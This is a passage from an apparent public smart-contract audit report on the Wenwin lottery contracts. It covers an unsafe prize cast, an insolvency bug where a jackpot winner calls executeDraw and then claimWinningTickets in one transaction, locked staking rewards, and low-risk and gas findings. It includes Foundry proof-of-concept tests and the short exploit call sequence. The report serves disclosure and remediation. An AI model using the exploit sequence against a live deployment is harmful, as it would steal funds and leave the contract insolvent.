As `divisor` is defined as `10 ** (tokenDecimals - 1)`, the upperbound of `rewards[winTier]` evaluates to `6553.5 * 10 ** tokenDecimals`. This means that the prize of any `winTier` must not be larger than 6553.5 tokens, otherwise the unsafe cast causes it to become smaller than expected.

Impact

If a deployer is unaware of this upper limit, he could deploy the lottery with ticket prizes larger than 6553.5 tokens, causing non-jackpot ticket prizes to become significantly smaller. The likelihood of this occuring is increased as:

1. The upper limit is not mentioned anywhere in the documentation.
2. The upper limit is not immediately obvious when looking at the code.

This upper limit also restricts the protocol from using low price tokens. For example, if the protocol uses SHIB (`$0.00001087` per token), the highest possible prize with 6553.5 tokens is worth only `$0.071236545`.

Proof of Concept

If the lottery is initialized with `rewards = [0, 6500, 7000]`, the prize for each `winTier` would become the following:

`winTier`	Token Amount (in tokenDecimals)
0	0
1	6500
2	446

The prize for `winTier = 2` can be derived as such:

```
(tokenAmount * 10) & type(uint16).max = (7000 * 10) & (2 ** 16 -
```

```
4464 / 10 = 446
```

The following test demonstrates the above:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/LotterySetup.sol";
import "./TestToken.sol";

contract RewardUnsafeCastTest is Test {
    ERC20 public rewardToken;

    uint8 public constant SELECTION_SIZE = 3;
    uint8 public constant SELECTION_MAX = 10;

    function setUp() public {
        rewardToken = new TestToken();
    }

    function testRewardIsSmallerThanExpected() public {
        // Get 1 token unit
        uint256 tokenUnit = 10 ** rewardToken.decimals();

        // Define fixedRewards as [0, 6500, 7000]
        uint256[] memory fixedRewards = new uint256[](SELECTION_
        fixedRewards[1] = 6500 * tokenUnit;
        fixedRewards[2] = 7000 * tokenUnit;

        // Initialize LotterySetup contract
        LotterySetup lotterySetup = new LotterySetup(
            LotterySetupParams(
                rewardToken,
                LotteryDrawSchedule(block.timestamp + 2*100, 100
                5 ether,
                SELECTION_SIZE,
                SELECTION_MAX,
                38e16,
                fixedRewards
            )
        );

        // Reward for winTier 1 is 6500
```

```
            assertEq(lotterySetup.fixedReward(1) / tokenUnit, 6500);

            // Reward for winTier 2 is 446 instead of 7000
            assertEq(lotterySetup.fixedReward(2) / tokenUnit, 446);
        }
    }
```

Recommended Mitigation Steps

Consider storing the prize amount of each `winTier` in a mapping instead of packing them into a `uint256` using bitwise arithmetic. This approach removes the upper limit (6553.5) and lower limit (0.1) for prizes, which would allow the protocol to use tokens with extremely high or low prices.

Alternatively, check if `rewards[winTier] > type(uint256).max` and revert if so. This can be done through OpenZeppelin's SafeCast.

rand0c0des (Wenwin) confirmed

[M-06] Insolvency: The `Lottery` may incorrectly consider a year old jackpot ticket as unclaimed and increase `currentNetProfit` by its prize while it was actually claimed

Submitted by NoamYakov

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L135-L137

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L164-L166

Impact

According to the documentation:

> "Winning tickets have up to 1 year to claim their prize. If a prize is not claimed before this period, the unclaimed prize money will go back to the Prize Pot."

As part of this mechanism, the `Lottery.executeDraw()` function (which internally calls `Lottery.returnUnclaimedJackpotToThePot()`) increases `Lottery.currentNetProfit` by the prize of any 1 year old unclaimed jackpot ticket. At this point, the contract thinks it still holds that prize and it's going to include it in the prize pot of the next draw. This function can only be called when `block.timestamp >= drawScheduledAt(currentDraw)`.

On the other side, the `Lottery.claimWinningTickets()` function (which internally calls `Lottery.claimWinningTicket()` and `Lottery.claimable()`) sends the prize to the owner of a jackpot ticket only if it isn't 1 year old (if `block.timestamp <= ticketRegistrationDeadline(ticketInfo.drawId + LotteryMath.DRAWS_PER_YEAR)`).

However, if `Lottery.drawCoolDownPeriod` is zero, both of these conditions can pass on the same time - when the `block.timestamp` is exactly the scheduled draw date of the draw that takes place exactly 1 year after the draw in which the jackpot ticket has won.

In this edge case, the owner of the jackpot ticket can call `Lottery.executeDraw()`, letting the `Lottery` think the prize wasn't claimed, followed by `Lottery.claimWinningTickets()`, claiming the prize, all in the same transaction.

Proof of Concept

Let's say Eve buys a ticket to draw #1 in a `Lottery` contract where `Lottery.drawCoolDownPeriod` equals zero, and wins the jackpot. Now, Eve can wait 1 year and then, when `block.timestamp` equals the scheduled draw date of draw #53 (which is also the registration deadline of draw #53), run a transaction that will do the following:

```
lottery.executeDraw()
lottery.claimWinningTickets([eveJackpotTicketId])
```

This will send Eve her prize, but will also leave the contract insolvent.

Recommended Mitigation Steps

Fix `Lottery.claimable()` to set `claimableAmount` to `winAmount[ticketInfo.drawId][winTier]` only if `block.timestamp < ticketRegistrationDeadline(ticketInfo.drawId + LotteryMath.DRAWS_PER_YEAR)` (strictly less than).

rand0c0des (Wenwin) disagreed with severity and commented:

> I think this is Medium, it requires coolDownPeriod of 0 + needs the block executed at the actual time scheduled which might not happen that often.

cccz (judge) decreased severity to Medium and commented:

> Due to the requirement `drawCoolDownPeriod == 0`, consider Medium.

[M-07] Locking rewards tokens in Staking contract when there are no stakes

Submitted by Haipls, *also found by* Cyfrin *and* ast3ros

https://github.com/code-423n4/2023-03-wenwin/blob/91b89482aaedf8b8feb73c771d11c257eed997e8/src/Lottery.sol#L151

https://github.com/code-423n4/2023-03-wenwin/blob/91b89482aaedf8b8feb73c771d11c257eed997e8/src/staking/Staking.sol#L48

Impact

Blocking rewards assigned to stakes from the sale of lottery tickets when stakes are absent in the `Staking` contract.

So, the situation is unlikely, but it can happen.

Proof of Concept

In order to confirm the problem, we need to prove 2 things:

1. That there may be no staked tokens -> #Total supply == 0
2. That the reward that will be transferred to the contract will be blocked -> #Locked tokens

Total supply == 0:

Flow 1:

1. Deploy protocol
2. Anyone buys tickets
3. Anyone calls claimRewards() for `LotteryRewardType.STAKING`
4. Since no one has managed to stake the tokens yet, the reward for the first sold tickets will be transferred to the staking contract and blocked
5. First user stakes tokens and we can see the Staking contract will have rewards but for first user `rewardPerToken` will start from `0` and `lastUpdateTicketId` will update to actually

```
src/staking/Staking.sol

50: if (_totalSupply == 0) { // totalSupply == 0
51:     return rewardPerTokenStored;

120: rewardPerTokenStored = currentRewardPerToken; // will set (
121: lastUpdateTicketId = lottery.nextTicketId(); // set actuall
```

6. Tokens before the first stake will be blocked forever

Flow 2:

1. Everything is going well. The first bets are made before the sale of the first tokens
2. But there will moments when all the stakers withdraw their bets
3. Get time periods when `totalSupply == 0`
4. During these periods, all the rewards that will come will be blocked on the contract by analogy with the first flow.

Locked tokens

- Tokens are blocked because `rewardPerTokenStored` is not updated when `totalSupply == 0`

Let's just write a test:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./LotteryTestBase.sol";
import "../src/Lottery.sol";
import "./TestToken.sol";
import "forge-std/console2.sol";
import "../src/interfaces/ILottery.sol";

contract StakingTest is LotteryTestBase {
    IStaking public staking;
    address public constant STAKER = address(69);

    ILotteryToken public stakingToken;

    function setUp() public override {
        super.setUp();
        staking = IStaking(lottery.stakingRewardRecipient());
        stakingToken = ILotteryToken(address(lottery.nativeToker
    }

    function testDelayFirstStake() public {
        console.log(
            "Init state totalSupply: %d, rewards: %d, rewardPerT
            staking.totalSupply(),
            rewardToken.balanceOf(address(staking)),
            staking.rewardPerTokenStored()
        );
        buySameTickets(lottery.currentDraw(), uint120(0x0F), adc
        lottery.claimRewards(LotteryRewardType.STAKING);
        console.log(
            "After buy tickets totalSupply: %d, rewards: %d, rev
            staking.totalSupply(),
            rewardToken.balanceOf(address(staking)),
            staking.rewardPerTokenStored()
        );
```

```
        vm.prank(address(lottery));
        stakingToken.mint(STAKER, 1e18);
        vm.startPrank(STAKER);
        stakingToken.approve(address(staking), 1e18);
        staking.stake(1e18);
        console.log(
            "After user stake, totalSupply: %d, rewards: %d, rew
            staking.totalSupply(),
            rewardToken.balanceOf(address(staking)),
            staking.rewardPerTokenStored()
        );
        // buy one ticket and get rewards
        buySameTickets(lottery.currentDraw(), uint120(0x0F), adc
        lottery.claimRewards(LotteryRewardType.STAKING);
        console.log(
            "After buy tickets, totalSupply: %d, rewards: %d, re
            staking.totalSupply(),
            rewardToken.balanceOf(address(staking)),
            staking.rewardPerTokenStored()
        );
        staking.exit();
        console.log(
            "After user exit, totalSupply: %d, rewards: %d, rewa
            staking.totalSupply(),
            rewardToken.balanceOf(address(staking)),
            staking.rewardPerTokenStored()
        );
        buySameTickets(lottery.currentDraw(), uint120(0x0F), adc
        lottery.claimRewards(LotteryRewardType.STAKING);
        console.log(
            "After buy ticket again, totalSupply: %d, rewards: %
            staking.totalSupply(),
            rewardToken.balanceOf(address(staking)),
            staking.rewardPerTokenStored()
        );
    }
}
```

Result:

```
Logs:
  Init state totalSupply: 0, rewards: 0, rewardPerTokenStored: 0
  After buy tickets totalSupply: 0, rewards: 4000000000000000000
  After user stake, totalSupply: 1000000000000000000, rewards: 4
```

```
After buy tickets, totalSupply: 10000000000000000000, rewards:
After user exit, totalSupply: 0, rewards: 40000000000000000000,
After buy ticket again, totalSupply: 0, rewards: 5000000000000
```

Recommended Mitigation Steps

One of:

1. Develop a flow where funds should go in case of lack of stakers
2. Develop a method of withdrawing blocked coins (which will not be distributed among stakers)

cccz (judge) decreased severity to Medium

rand0c0des (Wenwin) acknowledged

Low Risk and Non-Critical Issues

For this contest, 48 reports were submitted by wardens detailing low risk and non-critical issues. The **report highlighted below** by **adriro** received the top score from the judge.

The following wardens also submitted reports: juancito, brgltd, seeu, lukris02, slvDev, 0xfuje, btk, nadin, horsefacts, MohammedRizwan, zaskoh, Aymen0909, tnevler, Udsen, 0x1f8b, martin, Cyfrin, sakshamguruji, SAAJ, peanuts, descharre, bin2chen, catellatech, 0xAgro, LethL, 0xkazim, Yukti_Chinta, Bason, ast3ros, hl_, cryptostellar5, DadeKuma, erictee, glcanvas, dontonka, bshramin, bugradar, 0xSmartContract, nomoi, Rolezn, fatherOfBlocks, 0xnev, SunSec, igingu, pipoca, georgits, *and* Madalad .

Low Risk Issues Summary

	Issue	Instances
L-01	`claimable` function doesn't validate ticket draw is finished	1
L-02	`DRAWS_PER_YEAR` assumes one draw per week	1

	Issue	Instances
L-03	Limits in `getMinimumEligibleReferralsFactorCalculation` should be inclusive	1
L-04	Missing event for important parameter change	2

[L-01] `claimable` function doesn't validate ticket draw is finished

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L159-L168

The function should validate that the draw associated with the ticket is already finished, as the function uses the winning ticket to run the calculation and this value will be undefined until the draw is finished and a ticket is selected.

[L-02] `DRAWS_PER_YEAR` assumes one draw per week

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/LotteryMath.sol#L24

The `DRAWS_PER_YEAR` constant is fixed at 52 assuming one draw lasts one week, while the lottery can be configured with an arbitrary draw period.

[L-03] Limits in `getMinimumEligibleReferralsFactorCalculation` should be inclusive

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/ReferralSystem.sol#L111-L130

```
    function getMinimumEligibleReferralsFactorCalculation(uint256 tc
        internal
        view
        virtual
        returns (uint256 minimumEligible)
    {
```

```
        if (totalTicketsSoldPrevDraw < 10_000) {
            // 1%
            return totalTicketsSoldPrevDraw.getPercentage(Percentage
        }
        if (totalTicketsSoldPrevDraw < 100_000) {
            // 0.75%
            return totalTicketsSoldPrevDraw.getPercentage(Percentage
        }
        if (totalTicketsSoldPrevDraw < 1_000_000) {
            // 0.5%
            return totalTicketsSoldPrevDraw.getPercentage(Percentage
        }
        return 5000;
    }
```

The [protocol documentation] specifies that the total ticket sold limits should be inclusive during the calculation of the minimum referral eligibility. However, the different conditions in the if statements use a strict inequality to define the bounds to calculate the eligibility factor.

[L-04] Missing event for important parameter change

Important parameter or configuration changes should trigger an event to allow being tracked off-chain.

Instances (2):

- https://github.com/code-423n4/2023-03-wenwin/blob/main/src/staking/StakedTokenLock.sol#L24
- https://github.com/code-423n4/2023-03-wenwin/blob/main/src/staking/StakedTokenLock.sol#L37

Non-Critical Risk Issues Summary

	Issue	Instances
N-01	Import declarations should import specific symbols	53
N-02	Use named parameters for mapping type declarations	17
N-03	Refactor common code across functions	1

	Issue	Instances
N-04	Unused local variables	1
N-05	Use a modifier for access control	1
N-06	Contract files should define a locked compiler version	2
N-07	Simplify unpacking expression in `fixedReward`	1
N-08	First win tier is always empty in `packFixedRewards`	1

[N-01] Import declarations should import specific symbols

Prefer import declarations that specify the symbol(s) using the form `import {SYMBOL} from "SomeContract.sol"` rather than importing the whole file.

Instances (53):

File: src/Lottery.sol

```
5: import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.s
6: import "@openzeppelin/contracts/utils/math/Math.sol";
7: import "src/ReferralSystem.sol";
8: import "src/RNSourceController.sol";
9: import "src/staking/Staking.sol";
10: import "src/LotterySetup.sol";
11: import "src/TicketUtils.sol";
```

File: src/LotteryMath.sol

```
5: import "src/interfaces/ILottery.sol";
6: import "src/PercentageMath.sol";
```

File: src/LotterySetup.sol

```
5: import "@openzeppelin/contracts/utils/math/Math.sol";

6: import "@openzeppelin/contracts/token/ERC20/extensions/IERC20

7: import "src/PercentageMath.sol";

8: import "src/LotteryToken.sol";

9: import "src/interfaces/ILotterySetup.sol";

10: import "src/Ticket.sol";
```

File: src/LotteryToken.sol

```
5: import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

6: import "src/interfaces/ILotteryToken.sol";

7: import "src/LotteryMath.sol";
```

File: src/RNSourceBase.sol

```
5: import "src/interfaces/IRNSource.sol";
```

File: src/RNSourceController.sol

```
5: import "@openzeppelin/contracts/access/Ownable2Step.sol";

6: import "src/interfaces/IRNSource.sol";

7: import "src/interfaces/IRNSourceController.sol";
```

File: src/ReferralSystem.sol

```
5: import "@openzeppelin/contracts/utils/math/Math.sol";

6: import "src/interfaces/IReferralSystem.sol";
```

```
7: import "src/PercentageMath.sol";
```

File: src/Ticket.sol

```
5: import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
6: import "src/interfaces/ITicket.sol";
```

File: src/VRFv2RNSource.sol

```
5: import "@chainlink/contracts/src/v0.8/VRFV2WrapperConsumerBas
6: import "src/interfaces/IVRFv2RNSource.sol";
7: import "src/RNSourceBase.sol";
```

File: src/interfaces/ILottery.sol

```
5: import "src/interfaces/ILotterySetup.sol";
6: import "src/interfaces/IRNSourceController.sol";
7: import "src/interfaces/ITicket.sol";
8: import "src/interfaces/IReferralSystem.sol";
```

File: src/interfaces/ILotterySetup.sol

```
5: import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
6: import "src/interfaces/ITicket.sol";
```

File: src/interfaces/ILotteryToken.sol

```
5: import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
```

File: src/interfaces/IRNSourceController.sol

5: import "@openzeppelin/contracts/access/Ownable2Step.sol";

6: import "src/interfaces/IRNSource.sol";

File: src/interfaces/IReferralSystem.sol

5: import "src/interfaces/ILotteryToken.sol";

File: src/interfaces/ITicket.sol

5: import "@openzeppelin/contracts/token/ERC721/IERC721.sol";

File: src/interfaces/IVRFv2RNSource.sol

5: import "src/interfaces/IRNSource.sol";

File: src/staking/StakedTokenLock.sol

5: import "@openzeppelin/contracts/access/Ownable2Step.sol";

6: import "src/staking/interfaces/IStakedTokenLock.sol";

7: import "src/staking/interfaces/IStaking.sol";

File: src/staking/Staking.sol

5: import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

6: import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.s

7: import "src/interfaces/ILottery.sol";

8: import "src/LotteryMath.sol";

```
9: import "src/staking/interfaces/IStaking.sol";
```

```
File: src/staking/interfaces/IStakedTokenLock.sol

5: import "src/staking/interfaces/IStaking.sol";
```

```
File: src/staking/interfaces/IStaking.sol

5: import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

6: import "src/interfaces/ILottery.sol";
```

[N-02] Use named parameters for mapping type declarations

Consider using named parameters in mappings (e.g. `mapping(address account => uint256 balance)`) to improve readability. This feature is present since Solidity 0.8.18.

Instances (17):

```
File: src/Lottery.sol

26:     mapping(address => uint256) private frontendDueTicketSal

27:     mapping(uint128 => mapping(uint120 => uint256)) private

27:     mapping(uint128 => mapping(uint120 => uint256)) private

36:     mapping(uint128 => uint120) public override winningTicke

37:     mapping(uint128 => mapping(uint8 => uint256)) public ove

37:     mapping(uint128 => mapping(uint8 => uint256)) public ove

39:     mapping(uint128 => uint256) public override ticketsSold;
```

```
File: src/RNSourceBase.sol
```

```
9:     mapping(uint256 => RandomnessRequest) internal requests;
```

```
File: src/ReferralSystem.sol
```

```
17:     mapping(uint128 => mapping(address => UnclaimedTicketsDa
```

```
17:     mapping(uint128 => mapping(address => UnclaimedTicketsDa
```

```
19:     mapping(uint128 => uint256) public override totalTickets
```

```
21:     mapping(uint128 => uint256) public override referrerRewa
```

```
23:     mapping(uint128 => uint256) public override playerRewarc
```

```
25:     mapping(uint128 => uint256) public override minimumEligi
```

```
File: src/Ticket.sol
```

```
14:     mapping(uint256 => ITicket.TicketInfo) public override t
```

```
File: src/staking/Staking.sol
```

```
19:     mapping(address => uint256) public override userRewardPe
```

```
20:     mapping(address => uint256) public override rewards;
```

[N-03] Refactor common code across functions

`claimRewards` and `unclaimedRewards` functions in the `Lottery` contract have a lot of duplicate functionality. Consider refactoring common code in a private function.

[N-04] Unused local variables

Unused variables should be removed.

```
File: src/Lottery.sol
```

```
260:     uint256 winTier;
```

[N-05] Use a modifier for access control

Consider using a modifier to implement access control instead of inlining the condition/requirement in the function's body.

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/RNSourceController.sol#L46-L49

```
function onRandomNumberFulfilled(uint256 randomNumber) external
    if (msg.sender != address(source)) {
        revert RandomNumberFulfillmentUnauthorized();
    }
```

[N-06] Contract files should define a locked compiler version

Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively.

Instances (2):

```
File: src/VRFv2RNSource.sol

3: pragma solidity ^0.8.7;


File: src/staking/StakedTokenLock.sol

3: pragma solidity ^0.8.17;
```

[N-07] Simplify unpacking expression in `fixedReward`

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/LotterySetup.sol#L126-L127

The following calculation:

```
uint256 mask = uint256(type(uint16).max) << (winTier * 16);
uint256 extracted = (nonJackpotFixedRewards & mask) >> (winTier
```

Can be simplified using a single shift as:

```
uint256 extracted = (nonJackpotFixedRewards >> (winTier * 16)) &
```

[N-08] First win tier is always empty in `packFixedRewards`

The rewards for the first win tier (tier 0) are always 0, meaning the lowest 16 bits of the packed rewards word are always 0 wasting this space. Consider offsetting the tier by 1 (store tier 1 in lowest 16 bits, tier 2 in next 16 bits, and so on) to take advantage of this space. This change also allows the protocol to support a max selection size of 17 instead of 16.

Formal Verification

Validity of reconstructed tickets

The following Certora rule proves that reconstructed tickets from a random source are valid within the accepted range of `selectionSize` and `selectionMax` parameters.

Results:
https://prover.certora.com/output/78195/0f1385d89b704d8cbe588829e162028c?anonymousKey=3f8b6d024580c29b4a4eb11e6efc776cb8e45615

```
methods {
  isValidTicket(uint256,uint8,uint8) returns (bool) envfree
  reconstructTicket(uint256,uint8,uint8) returns (uint120) envfr
}
```

```
rule reconstructedTicketIsValid() {
  uint256 random;
  uint8 selectionSize;
  uint8 selectionMax;

  require selectionMax <= 120;
  require selectionSize <= 16 || selectionSize <= (selectionMax

  uint256 ticket = reconstructTicket(random, selectionSize, sele

  assert isValidTicket(ticket, selectionSize, selectionMax), "re
}
```

0xluckydev (Wenwin) confirmed and commented:

> High quality report.

cccz (judge) commented:

> The Low Risk issues also includes downgraded findings #486, #431, #428, #423, and #413.

> In addition, L-04 (Missing event for important parameter change) would be considered an INFO because although event issues would be considered as non-critical, I consider that privileged functions that do not emit events should be considered as INFO. (*see* **original comment** *for full details*)

Gas Optimizations

For this contest, 35 reports were submitted by wardens detailing gas optimizations. The **report highlighted below** by **Rolezn** received the top score from the judge.

The following wardens also submitted reports: slvDev, adriro, Rageur, 0xSmartContract, c3phas, atharvasama, 0x1f8b, 0x6980, schrodinger, descharre, ddimitrov22, hunter_w3b, Pheonix, air, SAAJ, Inspectah, MiniGlome, saneryee, rokso, Haipls, LethL, ReyAdmirado, yongskiws, matrix_0wl, JCN, Sathish9098, 0xnev, igingu, RaymondFam, ch0bu, arialblack14, volodya, Madalad, *and* 0xhacksmithh.

Gas Optimizations Summary

	Issue	Contexts	Estimated Gas Saved
G-01	Use calldata instead of memory for function parameters	2	600
G-02	Setting the `constructor` to `payable`	10	130
G-03	Do not calculate constants	6	-
G-04	Using `delete` statement can save gas	8	-
G-05	Functions guaranteed to revert when called by normal users can be marked `payable`	4	84
G-06	Use hardcoded address instead `address(this)`	5	-
G-07	`internal` functions only called once can be inlined to save gas	4	88
G-08	Multiple Address Mappings Can Be Combined Into A Single Mapping Of An Address To A Struct, Where Appropriate	2	-
G-09	Optimize names to save gas	10	220
G-10	`<x> += <y>` Costs More Gas Than `<x> = <x> + <y>` For State Variables	16	-
G-11	Public Functions To External	8	-
G-12	`require()` Should Be Used Instead Of `assert()`	2	-
G-13	Shorten the array rather than copying to a new one	2	-
G-14	Help The Optimizer By Saving A Storage Variable's Reference Instead Of Repeatedly Fetching It	3	-
G-15	Structs can be packed into fewer storage slots	4	8000
G-16	Usage of `uints` / `ints` smaller than 32 bytes (256 bits) incurs overhead	21	-
G-17	Unnecessary look up in `if` condition	1	2100

	Issue	Contexts	Estimated Gas Saved
G-18	Use solidity version 0.8.19 to gain some gas boost	3	264

Total: 109 contexts over 18 issues

[G-01] Use calldata instead of memory for function parameters

In some cases, having function arguments in calldata instead of memory is more optimal.

Consider the following generic example:

```
contract C {
    function add(uint[] memory arr) external returns (uint sum)
        uint length = arr.length;
        for (uint i = 0; i < arr.length; i++) {
            sum += arr[i];
        }
    }
}
```

In the above example, the dynamic array arr has the storage location memory. When the function gets called externally, the array values are kept in calldata and copied to memory during ABI decoding (using the opcode calldataload and mstore). And during the for loop, arr[i] accesses the value in memory using a mload. However, for the above example this is inefficient. Consider the following snippet instead:

```
contract C {
    function add(uint[] calldata arr) external returns (uint sum
        uint length = arr.length;
        for (uint i = 0; i < arr.length; i++) {
            sum += arr[i];
        }
    }
}
```

In the above snippet, instead of going via memory, the value is directly read from calldata using calldataload. That is, there are no intermediate memory operations that carries this value.

Gas savings: In the former example, the ABI decoding begins with copying value from calldata to memory in a for loop. Each iteration would cost at least 60 gas. In the latter example, this can be completely avoided. This will also reduce the number of instructions and therefore reduces the deploy time cost of the contract.

In short, use calldata instead of memory if the function argument is only read.

Note that in older Solidity versions, changing some function arguments from memory to calldata may cause “unimplemented feature error”. This can be avoided by using a newer (0.8.*) Solidity compiler.

Examples Note: The following pattern is prevalent in the codebase:

```
function f(bytes memory data) external {
    (...) = abi.decode(data, (..., types, ...));
}
```

Here, changing to bytes calldata will decrease the gas. The total savings for this change across all such uses would be quite significant.

Proof Of Concept

```
function packFixedRewards(uint256[] memory rewards) private view
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L164

```
function fulfillRandomWords(uint256 requestId, uint256[] memory
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/VRFv2RNSource.sol#L32

[G-02] Setting the `constructor` to `payable`

Saves ~13 gas per instance

Proof Of Concept

```
84: constructor(
        LotterySetupParams memory lotterySetupParams,
        uint256 playerRewardFirstDraw,
        uint256 playerRewardDecreasePerDraw,
        uint256[] memory rewardsToReferrersPerDraw,
        uint256 maxRNFailedAttempts,
        uint256 maxRNRequestDelay
    )
        Ticket()
        LotterySetup(lotterySetupParams)
        ReferralSystem(playerRewardFirstDraw, playerRewardDecrea
        RNSourceController(maxRNFailedAttempts, maxRNRequestDela
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L84

```
41: constructor(LotterySetupParams memory lotterySetupParams)
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L41

```
17: constructor() ERC20("Wenwin Lottery", "LOT")
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryToken.sol#L17

```
27: constructor(
        uint256 _playerRewardFirstDraw,
        uint256 _playerRewardDecreasePerDraw,
        uint256[] memory _rewardsToReferrersPerDraw
    )
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L27

```
11: constructor(address _authorizedConsumer)
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceBase.sol#L11

```
26: constructor(uint256 _maxFailedAttempts, uint256 _maxRequestI
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceController.sol#L26

```
17: constructor() ERC721("Wenwin Lottery Ticket", "WLT")
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Ticket.sol#L17

```
13: constructor(
        address _authorizedConsumer,
        address _linkAddress,
        address _wrapperAddress,
        uint16 _requestConfirmations,
        uint32 _callbackGasLimit
    )
        RNSourceBase(_authorizedConsumer)
        VRFV2WrapperConsumerBase(_linkAddress, _wrapperAddress)
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/VRFv2RNSource.sol#L13

```
16: constructor(address _stakedToken, uint256 _depositDeadline,
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L16

```
22: constructor(
        ILottery _lottery,
        IERC20 _rewardsToken,
        IERC20 _stakingToken,
        string memory name,
        string memory symbol
    )
        ERC20(name, symbol)
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L22

[G-03] Do not calculate constants

Due to how constant variables are implemented (replacements at compile-time), an expression assigned to a constant variable is recomputed each time that the variable is used, which wastes some gas.

Proof Of Concept

```
14: uint256 public constant STAKING_REWARD = 20 * PercentageMath
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L14

```
16: uint256 public constant FRONTEND_REWARD = 10 * PercentageMat
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L16

```
18: uint256 public constant TICKET_PRICE_TO_POT = PercentageMath
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L18

```
20: uint256 public constant SAFETY_MARGIN = 67 * PercentageMath.
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L20

```
22: uint256 public constant EXCESS_BONUS_ALLOCATION = 50 * Perce
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L22

```
36: uint256 private constant BASE_JACKPOT_PERCENTAGE = 30_030; /
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L36

[G-04] Using `delete` statement can save gas

Proof Of Concept

```
255: frontendDueTicketSales[beneficiary] = 0;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L255

```
142: unclaimedTickets[drawId][msg.sender].referrerTicketCount =
148: unclaimedTickets[drawId][msg.sender].playerTicketCount = 0;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L142

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L148

```
52: failedSequentialAttempts = 0;
53: maxFailedAttemptsReachedAt = 0;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceController.sol#L52-L53

```
99: failedSequentialAttempts = 0;
100: maxFailedAttemptsReachedAt = 0;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceController.sol#L99-L100

```
95: rewards[msg.sender] = 0;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L95

[G-05] Functions guaranteed to revert when called by normal users can be marked `payable`

If a function modifier or require such as onlyOwner/onlyX is used, the function will revert if a normal user tries to pay the function. Marking the function as payable will lower the gas cost for legitimate callers because the compiler will not include checks for whether a payment was provided. The extra opcodes avoided are CALLVALUE(2), DUP1(3), ISZERO(3), PUSH2(3), JUMPI(10), PUSH1(3), DUP1(3), REVERT(0), JUMPDEST(1), POP(2) which costs an average of about 21 gas per call to the function, in addition to the extra deployment cost.

Proof Of Concept

```
77: function initSource(IRNSource rnSource) external override or
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceController.sol#L77

```
89: function swapSource(IRNSource newSource) external override c
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceController.sol#L89

```
24: function deposit(uint256 amount) external override onlyOwner
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L24

```
37: function withdraw(uint256 amount) external override onlyOwne
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L37

Recommended Mitigation Steps

Functions guaranteed to revert when called by normal users can be marked payable.

[G-06] Use hardcode address instead `address(this)`

Instead of using `address(this)`, it is more gas-efficient to pre-calculate and use the hardcoded `address`. Foundry's script.sol and solmate's `LibRlp.sol` contracts can help achieve this.

References: https://book.getfoundry.sh/reference/forge-std/compute-create-address

https://twitter.com/transmissions11/status/1518507047943245824

Proof Of Concept

```
130: rewardToken.safeTransferFrom(msg.sender, address(this), tic
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L130

```
140: uint256 raised = rewardToken.balanceOf(address(this));
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L140

```
34: stakedToken.transferFrom(msg.sender, address(this), amount);
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L34

```
55: rewardsToken.transfer(owner(), rewardsToken.balanceOf(addres
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L55

```
73: stakingToken.safeTransferFrom(msg.sender, address(this), amo
```

